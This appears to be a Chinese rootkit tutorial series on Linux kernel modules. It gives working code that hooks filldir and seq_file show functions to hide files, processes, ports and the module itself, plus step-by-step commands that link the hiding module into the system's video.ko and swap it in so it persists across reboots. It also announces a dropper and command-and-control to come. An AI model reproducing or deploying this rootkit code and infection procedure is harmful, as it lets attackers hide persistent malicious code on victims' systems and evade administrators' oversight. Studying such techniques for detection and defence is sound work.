            f_op->op = new;                                 \
            enable_write_protection();                      \
        }                                                   \
    } while(0)






实验

实验时，笔者随（gu）手（yi）用来隐藏的文件名： 032416_525.mp4 。
从下图我们可以看到，在加载我们的内核模块（ fshidko ）之前，
test 目录下的 032416_525.mp4 是可以列举出来的；
但是加载 fshidko 之后就看不到了，并且在 dmesg 的日志里，
我们可以看到 fshidko 打印的隐藏了这个文件的信息。

[image: ../_images/fshid.png]



选读内容：相关内核源码的简略分析

SYSCALL_DEFINE3(getdents, unsigned int, fd,
         struct linux_dirent __user *, dirent, unsigned int, count)
{
     // 这儿省略若干代码。

     struct getdents_callback buf = {
         .ctx.actor = filldir, // 最后的接锅英雄。
         .count = count,
         .current_dir = dirent
     };

     // 这儿省略若干代码。

     // 跟进 ``iterate_dir``，
     // 可以看到它是通过 ``struct file_operations`` 里
     // ``iterate`` 完成任务的。
     error = iterate_dir(f.file, &buf.ctx);

     // 这儿省略若干代码。

     return error;
}

int iterate_dir(struct file *file, struct dir_context *ctx)
{
     struct inode *inode = file_inode(file);
     int res = -ENOTDIR;

     // 如果 ``struct file_operations`` 里的 ``iterate``
     // 为 ``NULL``，返回 ``-ENOTDIR`` 。
     if (!file->f_op->iterate)
         goto out;

     // 这儿省略若干代码。

     res = -ENOENT;
     if (!IS_DEADDIR(inode)) {
         ctx->pos = file->f_pos;
         // ``iterate_dir`` 把锅甩给了
         // ``struct file_operations`` 里的 ``iterate``，
         // 对这个 ``iterate`` 的分析请看下面。
         res = file->f_op->iterate(file, ctx);
         file->f_pos = ctx->pos;
         // 这儿省略若干代码。
     }
     // 这儿省略若干代码。
out:
     return res;
}





这一层一层的剥开，
我们来到了 struct file_operations 里面的 iterate ，
这个 iterate 在不同的文件系统有不同的实现，
下面（位于 fs/ext4/dir.c ）
是针对 ext4 [https://en.wikipedia.org/wiki/Ext4] 文件系统的 struct file_operations ，
我们可以看到 ext4 [https://en.wikipedia.org/wiki/Ext4] 文件系统的 iterate 是 ext4_readdir 。

const struct file_operations ext4_dir_operations = {
     .llseek         = ext4_dir_llseek,
     .read       = generic_read_dir,
     .iterate    = ext4_readdir,
     .unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
     .compat_ioctl   = ext4_compat_ioctl,
#endif
     .fsync      = ext4_sync_file,
     .open       = ext4_dir_open,
     .release    = ext4_release_dir,
};





ext4_readdir 经过各种各样的操作之后会通过 filldir
把目录里的项目一个一个的填到 getdents
返回的缓冲区里，缓冲区里是一个个的 struct linux_dirent 。
我们的隐藏方法就是在 filldir 里把需要隐藏的项目给过滤掉。






4. 隐藏进程

Linux 上纯用户态枚举并获取进程信息， /proc [https://en.wikipedia.org/wiki/Procfs] 是唯一的去处。
所以，对用户态隐藏进程，我们可以隐藏掉 /proc [https://en.wikipedia.org/wiki/Procfs] 下面的目录，
这样用户态能枚举出来进程就在我们的控制下了。
读者现在应该些许体会到为什么文件隐藏是本文的重点内容了。

我们修改一下上面隐藏文件时的假 filldir 即可实现进程隐藏，
如下所示。

int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;
    long pid;

    // 把字符串变成长整数。
    pid = simple_strtol(name, &endp, 10);

    if (pid == SECRET_PROC) {
        // 是我们需要隐藏的进程，直接返回。
        fm_alert("Hiding pid: %ld", pid);
        return 0;
    }

    /* pr_cont("%s ", name); */

    // 不是需要隐藏的进程，交给真的 ``filldir`` 填到缓冲区里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}






实验

笔者选择隐藏 pid 1 来做演示。在使用 systemd [https://www.freedesktop.org/wiki/Software/systemd/] 的系统上，
pid 1 总是 systemd [https://www.freedesktop.org/wiki/Software/systemd/] ，看下图，
我们可以看到加载我们的模块（ pshidko ）之后，
ps -A 看不到 systemd [https://www.freedesktop.org/wiki/Software/systemd/] 了；把 pshidko 卸载掉，
systemd [https://www.freedesktop.org/wiki/Software/systemd/] 就显示出来了。
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5. 隐藏端口

向用户态隐藏端口，
其实就是在用户进程读 /proc [https://en.wikipedia.org/wiki/Procfs] 下面的相关文件获取端口信息时，
把需要隐藏的的端口的内容过滤掉，
使得用户进程读到的内容里面没有我们想隐藏的端口。

具体说来，看下面的表格。









	网络类型
	/proc [https://en.wikipedia.org/wiki/Procfs] 文件
	内核源码文件
	主要实现函数


	TCP [https://en.wikipedia.org/wiki/Transmission_Control_Protocol] / IPv4 [https://en.wikipedia.org/wiki/IPv4]
	/proc/net/tcp
	net/ipv4/tcp_ipv4.c
	tcp4_seq_show


	TCP [https://en.wikipedia.org/wiki/Transmission_Control_Protocol] / IPv6 [https://en.wikipedia.org/wiki/IPv6]
	/proc/net/tcp6
	net/ipv6/tcp_ipv6.c
	tcp6_seq_show


	UDP [https://en.wikipedia.org/wiki/User_Datagram_Protocol] / IPv4 [https://en.wikipedia.org/wiki/IPv4]
	/proc/net/udp
	net/ipv4/udp.c
	udp4_seq_show


	UDP [https://en.wikipedia.org/wiki/User_Datagram_Protocol] / IPv6 [https://en.wikipedia.org/wiki/IPv6]
	/proc/net/udp6
	net/ipv6/udp.c
	udp6_seq_show





本小节以 TCP [https://en.wikipedia.org/wiki/Transmission_Control_Protocol] / IPv4 [https://en.wikipedia.org/wiki/IPv4] 为例，其他情况读者可举一反三。

文件的第一行是每一列的含义，
后面的行就是当前网络连接（ socket [https://en.wikipedia.org/wiki/Network_socket] / 套接字）的具体信息。
这些信息是通过 seq_file 接口在 /proc 中暴露的。
seq_file 拥有的操作函数如下，我们需要关心是 show 。

struct seq_operations {
     void * (*start) (struct seq_file *m, loff_t *pos);
     void (*stop) (struct seq_file *m, void *v);
     void * (*next) (struct seq_file *m, void *v, loff_t *pos);
     int (*show) (struct seq_file *m, void *v);
};





前面我们提到了隐藏端口也就是在进程读取 /proc/net/tcp 等文件
获取端口信息时过滤掉不希望让进程看到的内容，具体来讲，
就是将 /proc/net/tcp 等文件的 show
函数篡改成我们的钩子函数，
然后在我们的假 show 函数里进行过滤。

我们先看看用来描述 seq_file 的结构体，即 struct seq_file ，
定义于 linux/seq_file.h 。
seq_file 有一个缓冲区，也就是 buf 成员，
容量是 size ，已经使用的量是 count ；
理解了这几个成员的作用就能理解用于过滤端口信息的假
tcp_seq_show 了。

struct seq_file {
     char *buf; // 缓冲区。
     size_t size; // 缓冲区容量。
     size_t from;
     size_t count; // 缓冲区已经使用的量。
     size_t pad_until;
     loff_t index;
     loff_t read_pos;
     u64 version;
     struct mutex lock;
     const struct seq_operations *op;
     int poll_event;
     const struct file *file;
     void *private;
};





钩 /proc/net/tcp 等文件的 show
函数的方法与之前讲隐藏文件钩 iterate 的方法类似，
用下面的宏可以通用的钩这几个文件 seq_file 接口里面的操作函数。

# define set_afinfo_seq_op(op, path, afinfo_struct, new, old)   \
    do {                                                        \
        struct file *filp;                                      \
        afinfo_struct *afinfo;                                  \
                                                                \
        filp = filp_open(path, O_RDONLY, 0);                    \
        if (IS_ERR(filp)) {                                     \
            fm_alert("Failed to open %s with error %ld.\n",     \
                     path, PTR_ERR(filp));                      \
            old = NULL;                                         \
        }                                                       \
                                                                \
        afinfo = PDE_DATA(filp->f_path.dentry->d_inode);        \
        old = afinfo->seq_ops.op;                               \
        fm_alert("Setting seq_op->" #op " from %p to %p.",      \
                 old, new);                                     \
        afinfo->seq_ops.op = new;                               \
                                                                \
        filp_close(filp, 0);                                    \
    } while (0)





最后，我们看看假 show 函数是如何过滤掉端口信息的。

注1 ： TMPSZ 是 150，内核源码里是这样定义的。
换句话说，/proc/net/tcp
里的每一条记录都是 149 个字节（不算换行）长，
不够的用空格补齐。

注2 ： 我们不用 TMPSZ 也可以，并且会更加灵活，
具体细节请看下面隐藏内核模块时
/proc/modules 的假 show 函数是怎么处理的。

int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    char needle[NEEDLE_LEN];

    // 把端口转换成 16 进制，前面带个分号，避免误判。
    // 用来判断这项记录是否需要过滤掉。
    snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
    // real_seq_show 会往 buf 里填充一项记录
    ret = real_seq_show(seq, v);

    // 该项记录的起始 = 缓冲区起始 + 已有量 - 每条记录的大小。
    if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
        fm_alert("Hiding port %d using needle %s.\n",
                 SECRET_PORT, needle);
        // 记录里包含我们需要隐藏的的端口信息，
        // 把 count 减掉一个记录大小，
        // 相当于把这个记录去除掉了。
        seq->count -= TMPSZ;
    }

    return ret;
}






实验

我们拿 TCP [https://en.wikipedia.org/wiki/Transmission_Control_Protocol] / IPv4 [https://en.wikipedia.org/wiki/IPv4] 111 端口来做演示，
读者需要根据实际测试时的环境做必要改动。
如图，加载 pthidko 之前，我们可以看到 111 端口处于监听状态；
加载之后，这条记录不见了，被隐藏起来；
把 pthidko 卸载掉，这条记录又显示出来了。
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6. 隐藏内核模块

《Linux Rootkit 系列一： LKM 的基础编写及隐藏》 [http://www.freebuf.com/articles/system/54263.html]
一文里提到了隐藏内核模块的两种方式，
一种可以从 lsmod 中隐藏掉，
另一种可以从 /sys/module 里隐藏掉。
然而，这两种隐藏方式都使得模块没法卸载了。
在我们开发的初级阶段，这一点也不方便调试，笔者暂时就不讲这两个了。

我们看看另外的思路。从 /sys/module 里隐藏的话，
我们使用之前隐藏文件的方式隐藏掉就可以了。
我想聪明的读者应该想到了这点，这再一次证明了文件隐藏的意义。

那么怎么从 lsmod 里隐藏掉呢。
仔细回想一下，既然 lsmod 的数据来源是 /proc/modules ，
那用我们隐藏端口时采用的方式就好了：
钩掉 /proc/modules 的 show 函数，
在我们的假 show 函数里过滤掉我们想隐藏的模块。

粗略地浏览内核源码，我们可以发现，
/proc/modules 的实现位于 kernel/module.c ，
并且主要的实现函数是 m_show 。

接下来的问题是，
我们怎么钩这个文件 seq_file 接口里的 show 函数呢，
钩法与 /proc/net/tcp 并不一样，但是类似，请看下面的宏。

# define set_file_seq_op(opname, path, new, old)                    \
    do {                                                            \
        struct file *filp;                                          \
        struct seq_file *seq;                                       \
        struct seq_operations *seq_op;                              \
                                                                    \
        fm_alert("Opening the path: %s.\n", path);                  \
        filp = filp_open(path, O_RDONLY, 0);                        \
        if (IS_ERR(filp)) {                                         \
            fm_alert("Failed to open %s with error %ld.\n",         \
                     path, PTR_ERR(filp));                          \
            old = NULL;                                             \
        } else {                                                    \
            fm_alert("Succeeded in opening: %s\n", path);           \
            seq = (struct seq_file *)filp->private_data;            \
            seq_op = (struct seq_operations *)seq->op;              \
            old = seq_op->opname;                                   \
                                                                    \
            fm_alert("Changing seq_op->"#opname" from %p to %p.\n", \
                     old, new);                                     \
            disable_write_protection();                             \
            seq_op->opname = new;                                   \
            enable_write_protection();                              \
        }                                                           \
    } while (0)





这个宏与之前写的宏非常类似，唯一的不同，
并且读者可能不能理解的是下面这一行。

seq = (struct seq_file *)filp->private_data;





我想，读者的问题应该是：
struct file 的 private_data 成员为什么会是我们要找的
struct seq_file 指针？

请看内核源码。下面的片段是 /proc/modules 的初始部分，
我们想要做的是钩掉 m_show 。
纵观源码，引用了 modules_op 的只有 seq_open 。

static const struct seq_operations modules_op = {
     .start  = m_start,
     .next   = m_next,
     .stop   = m_stop,
     .show   = m_show
};

static int modules_open(struct inode *inode, struct file *file)
{
     return seq_open(file, &modules_op);
}





那我们跟进 seq_open 看看，
seq_open 的实现位于 fs/seq_file.c 。

int seq_open(struct file *file, const struct seq_operations *op)
{
     struct seq_file *p;

     WARN_ON(file->private_data);

     // 分配一个 ``struct seq_file`` 的 内存。
     p = kzalloc(sizeof(*p), GFP_KERNEL);
     if (!p)
         return -ENOMEM;

     // 读者看到这一行应该就能理解了。
     // 对 ``/proc/modules`` 而言，
     // ``struct file`` 的 ``private_data`` 指向的就是
     // 他的 ``struct seq_file``。
     file->private_data = p;

     mutex_init(&p->lock);
     // 把 ``struct seq_file`` 的 ``op`` 成员赋值成 ``op``，
     // 这个 ``op`` 里就包含了我们要钩的 ``m_show`` 。
     p->op = op;

     // 这儿省略若干代码。

     return 0;
}





这时候，我们可以看看 /proc/modules 的假 show 函数了。
过滤逻辑是很容易理解的；
读者应该重点注意一下 last_size 的计算，
这也就是笔者在讲端口隐藏时说到我们可以不用 TMPSZ ，
我们可以自己计算这一条记录的大小。
自己计算的灵活性就在于，就算每个记录的大小不是同样长的，
我们的代码也能正常工作。

注 ： /proc/modules 里的每条记录长度确实不是一样，有长有短。

int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    size_t last_count, last_size;

    // 保存一份 ``count`` 值，
    // 下面的 ``real_seq_show`` 会往缓冲区里填充一条记录，
    // 添加完成后，seq->count 也会增加。
    last_count = seq->count;
    ret =  real_seq_show(seq, v);

    // 填充记录之后的 count 减去填充之前的 count
    // 就可以得到填充的这条记录的大小了。
    last_size = seq->count - last_count;

    if (strnstr(seq->buf + seq->count - last_size, SECRET_MODULE,
                last_size)) {
        // 是需要隐藏的模块，
        // 把缓冲区已经使用的量减去这条记录的长度，
        // 也就相当于把这条记录去掉了。
        fm_alert("Hiding module: %s\n", SECRET_MODULE);
        seq->count -= last_size;
    }

    return ret;
}






实验

我们选择隐藏模块自己（ kohidko ）来做演示。看下图。
加载 kohidko 之后，
lsmod 没有显示出我们的模块，
/sys/module 下面也列举不到我们的模块；
并且，右侧 dmesg 的日志也表明我们的假 filldir 与假 show
函数起了过滤作用。
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第二部分：未来展望

至此，我们讨论了大部分作为一个 Rootkit 必备的基本功能；
但是，我们的代码依旧是零散的一个一个的实验，而不是一个有机的整体。
当然，笔者的代码尽可能的做好了布局组织与模块化，
这能给我们以后组装的时候节省一些力气。

在接下来的文章里，一方面，
我们会把这些一个一个零散的实验代码组装成一个能进行实验性部署的
Rootkit。要实现这个目标，
除了组装，我们还需要释放程序（ Dropper ），
还需要增加远程控制（ Command & Control ）能力。

再者，我们可能会着手讨论 Rootkit 的检测与反检测。
还有就是讨论当前 Linux Rootkit 的实际发展状态，
比如分析已知用于实际攻击的 Rootkit 所采用的技术，
分析我们的技术水平差异，并从中学习如何实现更先进的功能。

最后，我们还可能改善兼容性与拓展性。
我们现在的代码只在比较新的内核版本（比如 4.5.x / 4.6.x）上测试过。
而且，我们压根就没有考虑已知的兼容性问题。
因而，要想在 3.x，甚至 2.x 上跑，
我们还需要花时间兼容不同版本的内核。
然后，我们还希望往其他架构上发展（比如 ARM [https://www.arm.com/] ）。

下车，走好。




第三部分：参考资料与延伸阅读


1. 参考资料


	Linux Cross Reference [http://lxr.free-electrons.com/]

	This is what a root debug backdoor in a Linux kernel looks like [http://www.theregister.co.uk/2016/05/09/allwinners_allloser_custom_kernel_has_a_nasty_root_backdoor/]

	mncoppola/suterusu: An LKM rootkit targeting Linux 2.6/3.x on x86(_64), and ARM [https://github.com/mncoppola/suterusu]

	Notification Chains in Linux Kernel Part 01 [http://codingfreak.blogspot.com/2012/01/notification-chains-in-linux-part-01.html] Part 02 [http://codingfreak.blogspot.com/2012/01/notification-chains-in-linux-kernel.html] Part 03 [http://codingfreak.blogspot.com/2012/02/notification-chains-in-linux-kernel.html]






2. 延伸阅读
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前言

照旧，本文所需的相关代码位于如下代码仓库：
https://github.com/NoviceLive/research-rootkit。

测试建议：为了愉快地 Happy Hacking，请不要在物理机玩火。




概要

本文分为两大部分，
第一部分是基于链接与修改符号表感染并劫持
目标内核模块的初始函数与退出函数，使其成为寄生的宿主，
实现隐蔽与持久性。第二部分为结合三个实际例子
（ lssec, lssym, setsym ）的ELF 文件解析起步，
这一部分提供了我们第一部分进行 Happy Hacking 所需要的工具基础，
setsym ，同时也为更好的理解第一部分提供帮助信息。




第一部分：感染系统关键内核模块实现持久化


1. 编译并安装所需的 ELF 文件修改程序

如果你之前已经 git clone 过代码仓库，
那么现在就可以简单地 git pull 来获取最新的改动。

进入 lssec.c, lssym.c, setsym.c 所在的文件夹，
编译并安装这几个程序。

$ make
$ sudo make install





这时候，这几个程序就已经安装到 /usr/bin 目录下了，
可以使用了。

注 1 ： lssec 相当于自己造的一个功能不完善的
readelf -S ，
lssym 相当于自己造的一个功能不完善的 readelf -s
或者 objdump -t 。
因此，只有 setsym 是必须的，其他两个可以不要。
笔者写 lssec 与 lssym
是为了在后面讲解 ELF 解析的时候用作起步实例。

注 2 ：我们会在文章的第二部分拿这几个程序当实际的例子来讲解
ELF 文件的结构与解析。现在，我们直接拿起它们用就好了。

注 3 ： 这几个程序只支持 64 比特 ELF 文件。
如果你需要支持 32 比特 ELF 文件的工具，除了可以自行修改，
还可以使用参考资料的某篇文章提供的 elfchger ，
而这个工具只支持 32 比特 ELF 文件。




2. 内核模块函数的重定位与挂钩


演示用的简单内核模块

我们拿下面的这个简单的内核模块作试验演示。

int
noinj_init(void)
{
    pr_alert("noinj: %s\n", "Greetings the World!");

    return 0;
}


void
noinj_exit(void)
{
    pr_alert("noinj: %s\n", "Farewell the World!");

    return;
}


module_init(noinj_init); // 请注意，这次我们使用了个性化的初始函数名，``noinj_init`` 。
module_exit(noinj_exit); // 退出函数也是。


int
fake_init(void) // 用来演示符号表项挂钩的假初始函数。
{
    noinj_exit(); // 先调用真的初始函数。

    pr_alert("==> NOINJ: %s\n", "GR33TINGS THE W0RLD!");

    return 0;
}


int
fake_exit(void) // 用来演示符号表项挂钩的假退出函数。
{
    noinj_exit(); // 先调用真的退出函数。

    pr_alert("==> NOINJ: %s\n", "FAR3W311 THE W0RLD!");

    return 0;
}





编译之后我们可以得到一个 noinj.ko ，这是一个可重定位文件。
不妨用 file 查看一下，如下所示。

$ file noinj.ko
noinj.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=9b497fbb081f193856750e1c2fad93b0c3331edf, not stripped








模块的编译过程与 module_init / module_exit 的分析

生成 noinj.ko 的大致过程是这样子的：
编译器首先将所有源文件编译成目标文件，
（拿 noinj 举个例子，就是 noinj.c -> noinj.o ），
同时，编译器会自动生成一个源文件，
（在我们的例子中叫 noinj.mod.c ），
编译之后（即 noinj.mod.c -> noinj.mod.o ）
再与已经编译好的目标文件（即 noinj.o ）链接到一起，
得到一个可重定位文件（即 noinj.ko ）。

noinj.mod.c 中的内容，
我们主要关心 __this_module 的定义，如下。

__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = { // 将 __this_module 变量放到 .gnu.linkonce.this_module 区间里。
     .name = KBUILD_MODNAME,
     .init = init_module, // 填充初始函数为 init_module
#ifdef CONFIG_MODULE_UNLOAD
     .exit = cleanup_module, // 填充退出函数为 cleanup_module
#endif
     .arch = MODULE_ARCH_INIT,
};





我们在编写内核模块的时候不一定会使用
init_module 与 cleanup_module
作为初始函数与退出函数的名字；而是使用个性化的名字，
比如 noinj_init 与 noinj_exit ，
再用 module_init 与 module_exit
注册我们的个性化命名的函数为初始函数与退出函数。
这时候问题来了， module_init 与 module_exit
是怎么完成从个性化名字（比如 noinj_init 与 noinj_exit ）
到标准名字（即 init_module 与 cleanup_module ）的联系呢？
请看源代码，位于 linux/module.h 。

/* Each module must use one module_init(). */
#define module_init(initfn)                  \
     static inline initcall_t __inittest(void)       \
     { return initfn; }                  \
     int init_module(void) __attribute__((alias(#initfn))); // 请看这里，使用 ``GCC`` 编译器的拓展功能，函数别名属性，将个性化名字与标准名字 ``init_module`` 关联起来。

/* This is only required if you want to be unloadable. */
#define module_exit(exitfn)                  \
     static inline exitcall_t __exittest(void)       \
     { return exitfn; }                  \
     void cleanup_module(void) __attribute__((alias(#exitfn))); // ``cleanup_module`` 也是。








观察重定位记录与符号表

下面我们看看这个内核模块的重定位记录： readelf -r noinj.ko ，
重点看看 .gnu.linkonce.this_module 的记录，
包含 init_module 与 cleanup_module 符号。

Relocation section '.rela.gnu.linkonce.this_module' at offset 0x1aa88 contains 2 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000000158  001c00000001 R_X86_64_64       0000000000000000 init_module + 0
0000000002f8  001a00000001 R_X86_64_64       0000000000000020 cleanup_module + 0





请结合符号表（ readelf -s noinj.ko ）来看。

$ readelf -s noinj.ko
Symbol table '.symtab' contains 34 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     // 这儿省略一部分。
    25: 0000000000000000   832 OBJECT  GLOBAL DEFAULT   11 __this_module
    26: 0000000000000020    24 FUNC    GLOBAL DEFAULT    2 cleanup_module // 真的退出函数的记录，名字是 cleanup_module，Value 是 0x20。
    27: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND __fentry__
    28: 0000000000000000    27 FUNC    GLOBAL DEFAULT    2 init_module // 真的初始函数的记录，名字是 init_module， Value 是 0x00。
    29: 0000000000000040    46 FUNC    GLOBAL DEFAULT    2 fake_init // 假的初始函数的记录，Value 是 0x40。
    30: 0000000000000000    27 FUNC    GLOBAL DEFAULT    2 noinj_init // 真的初始函数的记录，名字是 noinj_init， 但 Value 是 0x00，与 init_module 一样。
    31: 0000000000000020    24 FUNC    GLOBAL DEFAULT    2 noinj_exit // 真的退出函数的记录，名字是 noinj_exit， 但 Value 是 0x20，与 cleanup_module 一样。
    32: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND printk
    33: 0000000000000070    46 FUNC    GLOBAL DEFAULT    2 fake_exit // 假的初始函数的记录，Value 是 0x70。





如果我们将 init_module 符号的值，改成 fake_init 符号的值，
那么在模块加载进行符号解析、重定位的时候，
init_module 会解析、定位到 fake_init ，
从而导致我们的假初始函数被执行，
而真的初始函数不会执行（当然，
因为我们假初始函数会调用真的初始函数，所以真的初始函数也会执行，
但是这已经是在我们的掌控之下了）。

cleanup_module 类似。下面我们通过实验来演示这一点。




实验演示符号表项的劫持

setsym 的用法是这样子的，有两种：一，传递两个位置参数，
第一个是内核模块路径，第二个是符号名，
这时 setsym 会把这个符号的值打印出来；二，传递三个位置参数，
第一个是内核模块路径，第二个是符号名，第三个是值，
这时 setsym 会把这个符号的值修改成给定的值。
简言之，如下。

// 第一种用法，获取符号的值。
setsym <module_path> <symbol_name>

// 第二种用法，设置符号的值。
setsym <module_path> <symbol_name> <symbol_value>





实验操作如下。

提示 ：下面的操作已经写在代码仓库里对应目录的
infect.sh 里了。

// 构建模块。
$ make

// 复制一份副本用于对照演示。
$ cp noinj.ko infected.ko

// 将副本的 init_module 符号值改成 fake_init 符号值。
$ setsym infected.ko init_module $(setsym infected.ko fake_init)

// 将副本的 cleanup_module 符号值改成 fake_exit 符号值。
$ setsym infected.ko cleanup_module $(setsym infected.ko fake_exit)
// 加载原始的模块。
$ insmod noinj.ko

// 卸载载原始的模块。
$ rmmod noinj

// 加载修改过的副本。
$ insmod infected.ko

// 卸载修改过的副本。
$ rmmod noinj // 注意模块名要用宿主的，即 noinj





正常情况下，系统应该调用真的初始函数，
而假的初始函数根本没有执行的机会，因为没人调用了它。

但是对比原本与副本加载、卸载过程中 dmesg 打印出来的消息，
可以得知，副本里的真初始函数是被假初始函数调用的，
而假初始函数则是被系统调用的。
也就是说，完成了对初始函数的劫持 / 挂钩。

效果如下图所示。
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3. 感染一个示例内核模块

在上一小节，我们演示了将初始函数与退出函数劫持成
同一个模块里的另一个函数，
现在我们看看怎样把一个良民模块的初始函数与退出函数
劫持成另一个恶意模块的初始函数与退出函数。
此外，恶意模块的代码也要注入到良民模块里，
这样，恶意模块才能起作用。


修改 fshid 使其便于寄生

这次我们用的良民模块跟上面那个 noinj 没什么本质差别，
换了下名字来彰显代码注入这个话题，所以叫 codeinj 。

恶意模块的话，就用 笔者的上一篇文章 [http://www.freebuf.com/articles/system/107829.html] 里的 fshid ；
注意，我们需要对 fshid 作一些必要的改动。
一来，要把初始函数从 init_module 改成 fshid_init ，
cleanup_module 也类似改成 fshid_exit ；
这是为了避免与良民模块出现名字冲突。
二来，我们要在 fshid_init 里调用良民模块（即 codeinj ）
的初始函数（即 codeinj_init ），
类似地， fshid_exit 里调用 codeinj_exit ；
这是为了让我们的挂钩对宿主模块（即良民模块）的功能不产生影响，
使别人观察不到我们的恶意模块的存在。




将 fshid 感染到示例模块中

具体操作如下。

提示 ：下面的操作已经写在代码仓库里对应目录的
infect.sh 里了。

// 构建已经修改好适合寄生的恶意模块。
$ (cd fshid && make --quiet)

// 构建良民模块（即宿主模块）。
$ make --quiet

// 将寄生模块与宿主模块链接到一起。
// 请注意顺序。
$ ld -r codeinj.ko fshid/fshidko.ko -o infected.ko

// 将寄生后宿主的 init_module 符号值改成 fshid_init 符号值
$ setsym infected.ko init_module $(setsym infected.ko fshid_init)

// 将寄生后宿主的 cleanup_module 符号值改成 fshid_exit 符号值
$ setsym infected.ko cleanup_module $(setsym infected.ko fshid_exit)

// 加载被寄生了的宿主。
$ insmod infected.ko

// 测试看看那个文件能不能列举出来：结果应该是不能。
$ ls -al fshid/test

$ rmmod codeinj // 注意模块名要用宿主的，即 codeinj

// 再测试看看那个文件能不能列举出来：结果应该是能。
$ ls -al fshid/test








参考效果

结果如图。
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4. 感染系统中的内核模块

现在，我们开始做点正事，感染系统关键内核模块搭顺风车实现隐蔽持久化。


确定目标并采集必要信息

在系统启动的时候，有一些内核模块会自动加载，
Rootkit 的内核模块可以寄生到这些模块上，实现实现隐蔽持久。

通过 lsmod 随意找个没被使用的模块，笔者就拿 video 动手了，
并在滚到最新的 Kali （ 4.6.0-kali1-amd64 ）上实践，
读者需要根据自己动手的环境进行一些必要的调整。

先找到它的文件。
尝试在 /lib/modules/$(uname -r) 目录下面查找一下，
find /lib/modules/$(uname -r) -name video 。结果如下。

$ find /lib/modules/$(uname -r) -name video.ko
/lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko





接下来尝试判断目标模块的初始函数与退出函数的个性名字。
笔者顺手找到了 video 模块的源代码，
位于内核源码（笔者手里的版本是 4.6.2）树的
drivers/acpi/acpi_video.c 。
摘取关键片段如下，我们可以看到 video 模块的初始函数与退出函数是
acpi_video_init 与 acpi_video_exit 。

module_init(acpi_video_init);
module_exit(acpi_video_exit);








将 fshid 感染到系统模块中

一切准备就绪，开始行动。

提示 ：下面的操作已经写在代码仓库里对应目录的
infect.sh 里了。

// 复制目标模块到实验的当前目录。
$ cp /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko .

// 检查一下我们对初始函数与退出函数的判断是否正确。
$ readelf -s video.ko | grep -e grep -e acpi_video_init -e acpi_video_exit

// 把它的初始函数与退出函数的绑定改成 global 。
// 后面会解释一下这一步的必要性。
$ objcopy video.ko gvideo.ko --globalize-symbol acpi_video_init --globalize-symbol acpi_video_exit

// 检查一下 objcopy 是否成功。
$ readelf -s gvideo.ko | grep -e grep -e acpi_video_init -e acpi_video_exit

// 构建已经修改好适合寄生的恶意模块。
// 后面还会解释一下要怎么修改。
$ (cd fshid && make --quiet)

// 将寄生模块与宿主模块链接到一起。
// 请注意顺序。
$ ld -r gvideo.ko fshid/fshidko.ko -o infected.ko

// 将寄生后宿主的 init_module 符号值改成 fshid_init 符号值
$ setsym infected.ko init_module $(setsym infected.ko fshid_init)

// 将寄生后宿主的 cleanup_module 符号值改成 fshid_exit 符号值
$ setsym infected.ko cleanup_module $(setsym infected.ko fshid_exit)

// 卸载系统本来就加载了的 video 模块。
$ rmmod video

// 加载寄生了恶意模块的 video 的模块。
// 观察 dmesg 的输出。
$ insmod infected.ko

// 测试隐藏的那个文件能不能列举出来：结果应该是不能。
$ ls -al fshid/test

$ rmmod video // 注意模块名要用宿主的，即 video

// 再测试隐藏的那个文件能不能列举出来：结果应该是能。
$ ls -al fshid/test








参考效果与重启测试

测试效果截图如下。

[image: ../_images/video.png]
如果测试正常，那么我们可以用被感染的模块替换掉原来的那个健康的模块了。

// 备份健康的 video 模块。
$ mv /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko.bak
// 把被感染的 video 模块复制到原来健康模块的位置。
$ cp infected.ko /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko

// 重启系统。
$ reboot





系统重启之后检查 dmesg 日志并测试是否可以查看到我们的隐藏文件，
以此来判断我们的恶意模块是否正常工作。

看下图，我们可以看到，在系统启动的初期，
我们感染到 video 模块里的代码打印出来的启动信息。
显然，我们的感染是成功。

[image: ../_images/startup.png]
系统重启之后，进行文件隐藏是否起作用的测试。参考结果如下图。

[image: ../_images/rebooted.png]



如何修改 fshid 使其便于寄生到真实的系统模块

在第 3 小节感染示例模块的时候，我们就对 fshid 做了一些必要的修改。
请注意，在用来感染实际的系统模块时，我们还要多做一点改动。

改动的第一点是把 init_module 与 cleanup_module 改成
fshid_init 与 fshid_exit 来避免名字冲突。
这一点改动与第 3 小节是一样的。

第二点就是，在 fshid_init 里调用 acpi_video_init ，
在 fshid_exit 里调用 acpi_video_exit
来使宿主被感染之后依旧能正常工作。第二点也与第 3 小节类似。

最后是与第 3 小节不同的一个改动，
在定义 fshid_init 的时候前面加上 __init ，
定义 fshid_exit 的时候前面加上 __exit 。

这是因为系统模块的初始函数与退出函数在定义的时候
通常都加上了这两个修饰前缀。
它们的作用是把函数的代码放到特殊的代码区间里
（也就是说，不放到 .text 区间里）。
这一点我们要与被感染的模块保持一致。




把系统模块初始函数与退出函数的绑定改成 global 的必要性

系统模块的初始函数与退出函数在定义的时候通常也都会加上 static ，
这就使得这两个函数只在它那个源码文件的目标文件里可见，
我们也就不能在我们的假初始函数与假退出函数里调用了。

所以，我们要先用 objcopy --globalize-symbol
把这两个函数从 local 变成 global 。






5. 小结

到此，我们详细讨论了通过链接、修改符号表来感染其他模块并劫持 /
挂钩其他模块的初始函数与退出函数，并将目标模块变成我们的宿主，
依托目标模块活动。

